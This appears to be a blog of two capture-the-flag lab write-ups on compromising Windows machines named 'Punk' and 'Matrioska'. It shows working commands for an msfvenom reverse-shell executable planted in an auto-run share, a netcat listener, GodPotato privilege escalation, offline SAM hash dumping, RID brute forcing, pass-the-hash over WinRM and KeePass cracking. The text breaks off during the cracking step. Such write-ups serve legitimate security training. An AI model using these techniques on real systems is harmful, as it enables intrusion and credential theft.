xiaowenji

Punk - Ronin66 Machine

Tue, 15 Sep 2026 00:00:00 GMT

Summary

Punk is a Windows host exposing FTP, SMTP, POP3, IMAP, SMB, and IIS. Initial enumeration revealed anonymous access to the dev SMB share, which contained a .NET application and its DLL. Decompiling OldCyber2077.dll exposed hardcoded FTP and SNMP credentials.

The recovered FTP credentials provided access to several log files. One of the logs contained SMTP credentials for info@arakusa.corp, which were then reused to access the POP3 service. Two mailbox messages revealed important information about the environment: one disclosed that cyber2077.exe placed in the prod share was automatically executed by a service or scheduled job, while the other exposed the default password Arakusa2025.

The default password was successfully reused by Alan, who had read and write permissions on the prod share. By uploading a malicious cyber2077.exe, code execution was obtained as svc_v, providing the user flag.

Finally, svc_v had SeImpersonatePrivilege enabled. This privilege was abused with GodPotato to impersonate a SYSTEM token and execute commands as NT AUTHORITY\SYSTEM, resulting in full compromise of the host.

Recon

Initial Enumeration

A full TCP scan with service detection was performed to identify the exposed services:

➜  Punk nmap -sC -sV -p- -v 172.16.18.15 --min-rate 1000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-14 14:16 -0400
Nmap scan report for 172.16.18.15
Host is up (0.26s latency).
Not shown: 65517 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
25/tcp    open  smtp          MailEnable smptd 10.53--
| smtp-commands: arakusa.corp [10.8.0.30], this server offers 4 extensions, AUTH LOGIN, SIZE 40960000, HELP, AUTH=LOGIN
|_ 211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
110/tcp   open  pop3          MailEnable POP3 Server
|_pop3-capabilities: UIDL USER TOP
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          MailEnable imapd
|_imap-capabilities: IDLE XLIST UIDPLUS SPECIAL-USEA0001 CHILDREN completed AUTH=CRAM-MD5 CAPABILITY OK AUTH=LOGIN IMAP4rev1 IMAP4
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          MailEnable smptd 10.53--
| smtp-commands: arakusa.corp [10.8.0.30], this server offers 4 extensions, AUTH LOGIN, SIZE 40960000, HELP, AUTH=LOGIN
|_ 211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC

The target exposed multiple services related to file sharing and email, including FTP, SMB, SMTP, POP3, and IMAP. SMB was prioritized first because anonymous access could potentially expose internal files.

Enumeration

SMB Enumeration

Anonymous SMB access was tested and allowed read access to the non-default dev share:

➜  Punk nxc smb 172.16.18.15 -u 'guest' -p '' --shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Windows 11 / Server 2025 Build 26100 x64 (name:DESKTOP-CLM9MNF) (domain:DESKTOP-CLM9MNF) (signing:True) (SMBv1:None)
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [+] DESKTOP-CLM9MNF\guest:
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Enumerated shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  Share           Permissions     Remark
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  -----           -----------     ------
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  ADMIN$                          Remote Admin
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  C$                              Default share
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  dev             READ
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  IPC$            READ            Remote IPC
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  prod

The dev share contained three files, including a .NET executable and DLL:

➜  Punk smbclient //172.16.18.15/dev
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Oct  1 05:08:56 2025
  ..                                DHS        0  Mon Sep 14 09:58:00 2026
  OldCyber2077.dll                    A     7168  Wed Oct  1 05:07:45 2025
  OldCyber2077.exe                    A 63606204  Wed Oct  1 05:07:46 2025
  procmon.exe                         A  4124696  Wed Oct  1 05:08:30 2025

        16559871 blocks of size 4096. 10503122 blocks available
smb: \>

DLL Analysis

The OldCyber2077.dll file was downloaded and decompiled with ilspycmd. The decompiled source contained hardcoded credentials for both FTP and SNMP:

➜  Punk ilspycmd OldCyber2077.dll
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Threading;
using Microsoft.CodeAnalysis;

namespace Cyber2077
{
	internal class Program
	{
		private static readonly string ftpCreds = "nightftp:Silverhand2077#";

		private static readonly string snmpTarget = "10.10.87.22";

		private static readonly string snmpUser = "snmp-user-admin";

		private static readonly string snmpPass = "dsabih231D22d@@lk77";

		private static void Main(string[] args)
		{
			string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "logs");
			string text2 = Path.Combine(text, "snmp");
			string text3 = Path.Combine(text, "ftp_upload");
			Directory.CreateDirectory(text);
			Directory.CreateDirectory(text2);
			Directory.CreateDirectory(text3);
			<SNIP>
		}
	}
}

The relevant credentials were:

nightftp : Silverhand2077#

snmp-user-admin : dsabih231D22d@@lk77

The FTP credentials were useful because an FTP service was exposed on port 21, so we moved there next.

Shell as svc_v

FTP Access and Log Analysis

Using the recovered nightftp credentials, we authenticated to FTP and enumerated the available files:

➜  Punk ftp 172.16.18.15
Connected to 172.16.18.15.
220 Microsoft FTP Service
Name (172.16.18.15:root): nightftp
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||51709|)
125 Data connection already open; Transfer starting.
10-01-25  12:16PM       <DIR>          aspnet_client
10-01-25  09:50AM                  353 info.txt
10-01-25  10:11AM                  977 logs_data_2025-10-01_12-00-00.txt
10-01-25  10:17AM                  919 logs_data_2025-10-01_12-00-01.txt
10-01-25  10:12AM                  772 logs_data_2025-10-01_12-00-02.txt
10-01-25  10:13AM                  755 logs_data_2025-10-01_12-00-03.txt
10-01-25  10:14AM                  768 logs_data_2025-10-01_12-00-04.txt
10-01-25  09:47AM                17280 OIP.jpg

One of the log files contained another credential inside the generated SNMP dump:

# SNMP dump
# Target: 10.10.87.22
# Auth: user=snmp-user-admin pass=dsabih231D22d@@lk77
# Generated: 2025-10-01 12:00:01

1.3.6.1.2.1.1.1.0 = Embedded OS v3.2.1
1.3.6.1.2.1.1.3.0 = 2345678
1.3.6.1.2.1.2.2.1.10.1 = 112233
1.3.6.1.2.1.2.2.1.16.1 = 332211
1.3.6.1.4.1.2021.4.5.0 = 4096
systemLoad1 = 0.05
systemLoad5 = 0.03
uptimeSeconds = 234567
activeProcesses = 87
interfaceCount = 2
ifInErrors.1 = 0
ifOutErrors.1 = 1
diskTotal = 65536
diskFree = 56000
temperature = 45

SNMP simulated dump.
Note: Authentication attempted with mock credentials.
Local file: logs/snmp/logs_data_2025-10-01_12-00-01.txt
Contained artifact: smtp credentials found in config payload:
info@arakusa.corp
Imp0ssibl3tol3akth!son3
FTP marker: Uploaded by nightftp:Silverhand2077# at 2025-10-01 12:00:01
FTP stored as: ftp_upload/uploaded_2025-10-01_12-00-01.txt
END OF DUMP
-- log end --
Generated by Cyber2077

The log exposed SMTP credentials for info@arakusa.corp:

info@arakusa.corp : Imp0ssibl3tol3akth!son3

Since POP3 was exposed on port 110, the recovered credentials were tested there.

POP3 Mailbox Enumeration

The credentials authenticated successfully and revealed three messages:

➜  Punk curl -u info:'Imp0ssibl3tol3akth!son3' pop3://172.16.18.15/
1 5149
2 1407
3 2016

Message 2 contained a base64-encoded email:

➜  Punk curl -u info:'Imp0ssibl3tol3akth!son3' pop3://172.16.18.15/2
Received: from DESKTOP-CLM9MNF ([::1]) by arakusa.corp with
 MailEnable ESMTPA; Wed, 1 Oct 2025 13:07:26 +0200
MIME-Version: 1.0
From: "Eric" <info@arakusa.corp>
To: "All Staff" <info@arakusa.corp>
Date: 1 Oct 2025 13:07:26 +0200
Subject: URGENTE: change default passwords
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: base64
Message-ID: <06D9CC3FF1794FEFB54F309E3137FEA3.MAI@arakusa.corp>
Return-Path: <info@arakusa.corp>

VGVh<BASE64_BLOB>5jb3Jw

We decoded the message locally:

➜  Punk cat file.b64|base64 -d
Hi team,

Following recent findings, please take two actions immediately regarding the cyber2077.exe artifact:

1) Remove **Cyber2077.exe** from the **prod** share. The binary must be deleted from the shared folder to prevent further execution.

2) **Disable the service / scheduled job** that automatically scans the prod share and executes that binary. If the service remains active after the file is deleted, it will continue to run a missing/empty task and may produce misleading logs or restart attempts; we must remove the execution trigger as well.

Procedure:
- Stop the service/task on the host that runs the prod share job.
- Verify there are no startup entries or scheduled tasks that reference cyber2077.exe.
- Remove the file \\<server>\prod\cyber2077.exe.
- Confirm the service is disabled and document the change.

If you cannot reach the host or need elevated rights, escalate to me immediately. Do not simply delete the file without disabling the execution mechanism â€” that will leave the system in a noisy, unstable state.

Thanks,
Alan
Senior Systems Engineer
arakusa.corp

This email revealed that cyber2077.exe was automatically executed from the prod share. Therefore, write access to that share could potentially provide code execution.

We then checked another mailbox message for additional credentials:

➜  Punk cat file1.b64|base64 -d
Team,

There has been a public leak this year that affects default credentials on multiple vendor devices and services. Effective immediately, **everyone must change any default passwords** on the systems and appliances you manage.

In particular, please replace any use of the default password **Arakusa2025** with a unique, strong password and document the change in the ticketing system. Focus first on:
- Network devices (switches, routers, firewalls)
- File shares and backups
- Service accounts exposed to the network

Confirm completion in the #it-ops channel or reply to this email once you have completed the changes for your scope.

Thanks,
Eric
CTO
arakusa.corp

The message exposed the default password Arakusa2025. The sender of the first email was Alan, so we tested this password against the SMB service.

Foothold via the prod Share

The Alan account authenticated successfully and had write access to the prod share:

➜  Punk nxc smb 172.16.18.15 -u 'Alan' -p 'Arakusa2025' --shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Windows 11 / Server 2025 Build 26100 x64 (name:DESKTOP-CLM9MNF) (domain:DESKTOP-CLM9MNF) (signing:True) (SMBv1:None)
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [+] DESKTOP-CLM9MNF\Alan:Arakusa2025
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Enumerated shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  Share           Permissions     Remark
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  -----           -----------     ------
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  ADMIN$                          Remote Admin
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  C$                              Default share
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  dev             READ
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  IPC$            READ            Remote IPC
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  prod            READ,WRITE

This matched the behavior described in the email. Since Alan could write to prod and the environment automatically executed cyber2077.exe, we generated a reverse-shell executable with that exact filename:

➜  Punk msfvenom -p windows/shell_reverse_tcp lhost=10.8.0.30 lport=4444 -f exe -o cyber2077.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: cyber2077.exe

We then uploaded the executable to the writable prod share:

➜  Punk smbclient //172.16.18.15/prod -U 'Alan'
Password for [WORKGROUP\Alan]:
Try "help" to get a list of possible commands.
smb: \> put cyber2077.exe
putting file cyber2077.exe as \cyber2077.exe (9.0 kB/s) (average 9.0 kB/s)
smb: \> exit

After the scheduled execution mechanism processed the uploaded binary, a reverse shell was received:

➜  Punk nc -vnlp 4444
listening on [any] 4444 ...
connect to [10.8.0.30] from (UNKNOWN) [172.16.18.15] 53142
Microsoft Windows [Version 10.0.26100.8037]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
whoami
desktop-clm9mnf\svc_v

C:\Windows\System32> cd Public
cd Public
PS C:\Users\Public> cat user.flg
cat user.flg
ee9<SNIP>14a
PS C:\Users\Public>

We now had code execution as svc_v.

Shell as NT AUTHORITY\SYSTEM

SeImpersonatePrivilege

The next step was to enumerate the privileges assigned to svc_v:

C:\Windows\System32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

SeImpersonatePrivilege was enabled, providing a direct path to SYSTEM through token impersonation.

GodPotato

GodPotato was uploaded to the writable prod share and then executed from the compromised session. The binary successfully located and impersonated a SYSTEM token:

C:\prod>.\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.flg"
.\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.flg"
[*] CombaseModule: 0x140730503135232
[*] DispatchTable: 0x140730505852480
[*] UseProtseqFunction: 0x140730504826816
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\92832d30-59b3-4777-9198-e9465f268f6b\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000c402-1214-ffff-626d-fcda8a9dfb05
[*] DCOM obj OXID: 0x208ba55679cb0925
[*] DCOM obj OID: 0xa25bddbb474f879d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 952 Token:0x720  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1868
39c<SNIP>89ee

The flag was retrieved under NT AUTHORITY\SYSTEM, completing the privilege escalation.

Matrioska - Ronin66 Machine

Mon, 14 Sep 2026 00:00:00 GMT

Summary

Matrioska is a Windows host exposing FTP, SMB, SNMP, WinRM, and MSSQL. Initial enumeration revealed anonymous FTP access to a log file containing an SNMP community string. Walking SNMP with the recovered community exposed a cleartext credential for svc_smb, which granted access to a non-default TMP SMB share.

The TMP share contained several files and archives, including a full System32 dump. Extracting the offline SAM, SYSTEM, and SECURITY hives with secretsdump recovered the local Administrator NT hash. RID brute forcing then revealed the Dean account, which reused the same password hash, allowing pass-the-hash authentication over WinRM and access to the user flag.

Further enumeration revealed a KeePass database in Dean's Documents directory. The first database could not be cracked with rockyou.txt, but another deleted .kdbx file was recovered from the Recycle Bin. This database cracked successfully and contained the MSSQL sa credentials.

The sa account was used to access MSSQL and enable xp_cmdshell. Since the SQL Server process had SeImpersonatePrivilege, GodPotato was used to impersonate a SYSTEM token and execute commands as NT AUTHORITY\SYSTEM, resulting in full control of the machine.

Recon

Initial Enumeration

A full TCP scan with service detection was performed to identify the exposed services:

➜  Matrioska nmap -sC -sV -p- 172.16.18.11 --min-rate 5000
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_07-27-25  11:58AM       <DIR>          logs
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
50668/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM

Several services were immediately interesting, including anonymous FTP, SMB, WinRM, and MSSQL running on the non-standard port 50668. FTP was prioritized first because anonymous access was explicitly identified by Nmap.

FTP Enumeration

As seen in the Nmap output, anonymous FTP access was allowed. We connected to the service and downloaded the exposed last_2025.txt file:

➜  Matrioska ftp 172.16.18.11
Connected to 172.16.18.11.
220 Microsoft FTP Service
Name (172.16.18.11:root): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
229 Entering Extended Passive Mode (|||49823|)
125 Data connection already open; Transfer starting.
07-27-25  11:58AM       <DIR>          logs
226 Transfer complete.
ftp> cd logs
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49825|)
125 Data connection already open; Transfer starting.
11-21-25  07:05PM                   38 last_2025.txt
226 Transfer complete.
ftp> get last_2025.txt
local: last_2025.txt remote: last_2025.txt
229 Entering Extended Passive Mode (|||49826|)
125 Data connection already open; Transfer starting.
100% |*********************************************************************|    38        0.14 KiB/s    00:00 ETA
226 Transfer complete.
38 bytes received in 00:00 (0.13 KiB/s)
ftp>

The downloaded file contained what appeared to be an SNMP community string:

➜  Matrioska cat last_2025.txt
SNMP: gdnceukal87wh66mxz109swklax567j8

SNMP Enumeration

The recovered community string was used to enumerate the SNMP service:

➜  Matrioska snmpwalk -v2c -c gdnceukal87wh66mxz109swklax567j8 172.16.18.11

iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 15 Model 107 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 26100 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (1557900268) 180 days, 7:30:02.68
iso.3.6.1.2.1.1.4.0 = STRING: "Username: svc_smb | pass: !Smbsvc_2025#66#"
iso.3.6.1.2.1.1.5.0 = STRING: "MTK161"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 76
iso.3.6.1.2.1.2.1.0 = INTEGER: 17
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
<SNIP>

The SNMP data exposed a cleartext credential:

svc_smb : !Smbsvc_2025#66#

This credential was then tested against SMB.

Shell as Dean

SMB Enumeration

Using the recovered credentials, we enumerated the available SMB shares:

➜  Matrioska nxc smb 172.16.18.11 -u 'svc_smb' -p '!Smbsvc_2025#66#' --shares
SMB         172.16.18.11    445    MTK161           [*] Windows 11 / Server 2025 Build 26100 x64 (name:MTK161) (domain:MTK161) (signing:True) (SMBv1:None)
SMB         172.16.18.11    445    MTK161           [+] MTK161\svc_smb:!Smbsvc_2025#66#
SMB         172.16.18.11    445    MTK161           [*] Enumerated shares
SMB         172.16.18.11    445    MTK161           Share           Permissions     Remark
SMB         172.16.18.11    445    MTK161           -----           -----------     ------
SMB         172.16.18.11    445    MTK161           ADMIN$                          Remote Admin
SMB         172.16.18.11    445    MTK161           C$                              Default share
SMB         172.16.18.11    445    MTK161           IPC$            READ            Remote IPC
SMB         172.16.18.11    445    MTK161           TMP             READ

The TMP share allowed read access and was not a standard administrative share. We connected to it with smbclient:

➜  Matrioska smbclient //172.16.18.11/TMP -U 'svc_smb'
Password for [WORKGROUP\svc_smb]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Nov 21 11:20:46 2025
  ..                                DHS        0  Sat Mar 14 07:38:07 2026
  archives                            D        0  Mon Jul 28 11:49:48 2025
  backup                              D        0  Mon Jul 28 11:50:13 2025
  confidential_notes.txt              A       34  Sat Jul 26 07:04:12 2025
  config_666.log                      A       67  Sat Jul 26 07:04:12 2025
  data_243.cfg                        A       64  Sat Jul 26 07:04:12 2025
  logfile_332.cfg                     A      264  Sat Jul 26 07:04:12 2025
  logs                                D        0  Mon Jul 28 11:49:48 2025
  old                                 D        0  Mon Jul 28 11:49:48 2025
  password                            D        0  Mon Jul 28 11:49:48 2025
  reports                             D        0  Mon Jul 28 11:49:48 2025
  temp                                D        0  Mon Jul 28 11:49:48 2025
  win11base.zip                       A 117875513  Fri Nov 21 11:22:10 2025
  windows_backup_2022.zip             A      256  Sat Jul 26 07:04:12 2025

        16558079 blocks of size 4096. 5578867 blocks available
smb: \>

Because the share contained a large number of files and directories, the entire share was downloaded recursively:

smb: \> prompt off
smb: \> recurse on
smb: \> mget *

Offline File Analysis

We then reviewed the downloaded files locally. The password directory contained a short list of candidate passwords:

➜  Matrioska ls
archives  confidential_notes.txt  data_243.cfg     logs  password  temp           windows_backup_2022.zip
backup    config_666.log          logfile_332.cfg  old   reports   win11base.zip
➜  Matrioska cat password/secret.txt
test123
dsa/65!!ew
O91pSMMVe7Zp
@@mHGDy12/1

The windows_backup_2022.zip archive was password protected. The password O91pSMMVe7Zp successfully opened it, but it contained no useful data.

The larger win11base.zip archive was more interesting. It contained a dump of the Windows System32 directory:

➜  Matrioska unzip win11base.zip
Archive:  win11base.zip
   creating: System32/
   creating: System32/pl-PL/
  inflating: System32/@facial-recognition-windows-hello.gif
   creating: System32/SleepStudy/
   creating: System32/SleepStudy/ScreenOn/
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-54-43.etl
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-57-49.etl
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-52-54.etl
  inflating: System32/SleepStudy/SleepStudyTraceSession.etl
  inflating: System32/SleepStudy/SleepStudyControlTraceSession.etl
   creating: System32/spool/
<SNIP>

Since the dump contained the SAM, SYSTEM, and SECURITY registry hives, we used impacket-secretsdump to extract the local account hashes:

➜  Matrioska impacket-secretsdump -sam System32/config/SAM -system System32/config/SYSTEM -security System32/config/SECURITY LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x5c304423d95caa7c914c70513985ff40
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e409434e38dfec25410d83696964c1e4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bc06173bf532b317980d7ebe8e73a220:::
Sam:1001:aad3b435b51404eeaad3b435b51404ee:cba29c45445dda60bdb47c5ea1fc86c9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):_TBAL_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}
[*] DPAPI_SYSTEM
dpapi_machinekey:0x023d015b9a14b112bc0cbf9254bd53043a37fdfd
dpapi_userkey:0xee70c54fc798a6b0c5439444a636ebe33ca12f7d
<SNIP>
[*] Cleaning up...

The dump provided the NT hash for the local Administrator account:

Administrator : e409434e38dfec25410d83696964c1e4

We then needed to identify the available users on the target.

RID Brute Forcing

Using the valid svc_smb credentials, RID brute forcing was performed against SMB:

➜  Matrioska nxc smb 172.16.18.11 -u 'svc_smb' -p '!Smbsvc_2025#66#' --rid-brute
SMB         172.16.18.11    445    MTK161           [*] Windows 11 / Server 2025 Build 26100 x64 (name:MTK161) (domain:MTK161) (signing:True) (SMBv1:None)
SMB         172.16.18.11    445    MTK161           [+] MTK161\svc_smb:!Smbsvc_2025#66#
SMB         172.16.18.11    445    MTK161           500: MTK161\Administrator (SidTypeUser)
SMB         172.16.18.11    445    MTK161           501: MTK161\Guest (SidTypeUser)
SMB         172.16.18.11    445    MTK161           503: MTK161\DefaultAccount (SidTypeUser)
SMB         172.16.18.11    445    MTK161           504: MTK161\WDAGUtilityAccount (SidTypeUser)
SMB         172.16.18.11    445    MTK161           513: MTK161\None (SidTypeGroup)
SMB         172.16.18.11    445    MTK161           1001: MTK161\Dean (SidTypeUser)
SMB         172.16.18.11    445    MTK161           1002: MTK161\svc_smb (SidTypeUser)
SMB         172.16.18.11    445    MTK161           1003: MTK161\SQLServer2005SQLBrowserUser$MTK161 (SidTypeAlias)
➜  Matrioska

The Dean account was identified with RID 1001. Since the recovered Administrator hash was available, we tested it against Dean using pass-the-hash authentication over WinRM:

➜  Matrioska nxc winrm 172.16.18.11 -u 'Dean' -H 'e409434e38dfec25410d83696964c1e4'
WINRM       172.16.18.11    5985   MTK161           [*] Windows 11 / Server 2025 Build 26100 (name:MTK161)
WINRM       172.16.18.11    5985   MTK161           [+] MTK161\Dean:e409434e38dfec25410d83696964c1e4 (Pwn3d!)

➜  Matrioska evil-winrm -i 172.16.18.11 -u 'Dean' -H 'e409434e38dfec25410d83696964c1e4'

Evil-WinRM shell v3.9

<SNIP>

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users> cd Public
*Evil-WinRM* PS C:\Users\Public> cat user.flg
609<SNIP>>729
*Evil-WinRM* PS C:\Users\Public>

We obtained a shell as Dean and retrieved the user flag.

Shell as NT AUTHORITY\SYSTEM

KeePass Database - Failed

With access as Dean, we enumerated the user's files and found a KeePass database in the Documents directory:

*Evil-WinRM* PS C:\Users\Dean\Documents> ls

    Directory: C:\Users\Dean\Documents

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/14/2026  10:39 PM                dpapi_stage
<SNIP>
-a----         7/28/2025  10:56 PM           1943 Database.kdbx

We downloaded the database and extracted its hash using keepass2john. The current version of John the Ripper was built from the bleeding-jumbo branch to provide the required KeePass support:

cd /opt
sudo git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo
cd john-jumbo/src
sudo apt install -y build-essential libssl-dev git zlib1g-dev yasm libgmp-dev libpcap-dev libbz2-dev
./configure && make -sj$(nproc)

We then attempted to crack the database using rockyou.txt:

➜  run git:(bleeding-jumbo) ./keepass2john /root/machines/ronin/Matrioska/Database.kdbx
Database:$keepass$*4*600000*c9d9f3<SNIP>a01c948d2

➜  run git:(bleeding-jumbo) ./john /root/machines/ronin/Matrioska/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 6000 for all loaded hashes
Cost 2 (m) is 0 for all loaded hashes
Cost 3 (p) is 0 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 3 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

The database used Argon2 and was not cracked with rockyou.txt.

Recovering the Deleted KeePass Database

Since the first KeePass database did not provide the required credentials, further enumeration was performed. Two additional .kdbx files were found in the Recycle Bin:

*Evil-WinRM* PS C:\$Recycle.Bin> ls -force

    Directory: C:\$Recycle.Bin

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-        11/21/2025   5:45 PM                S-1-5-18
d--hs-         7/28/2025  10:55 PM                S-1-5-21-1990608512-1549956336-3991441458-1001
d--hs-         3/14/2026  12:02 PM                S-1-5-21-1990608512-1549956336-3991441458-500


*Evil-WinRM* PS C:\$Recycle.Bin> cd S-1-5-21-1990608512-1549956336-3991441458-1001
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001> ls

    Directory: C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/28/2025  10:55 PM             80 $IRQIR9O.kdbx
-a----         7/28/2025  10:54 PM           2062 $RRQIR9O.kdbx

*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001>

The larger $RRQIR9O.kdbx file was copied to a location we could access:

*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001> copy '$RRQIR9O.kdbx' C:\Users\Dean\Documents\found_database.kdbx
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001> cd /Users/Dean/Documents
*Evil-WinRM* PS C:\Users\Dean\Documents>

The recovered database was then extracted and cracked:

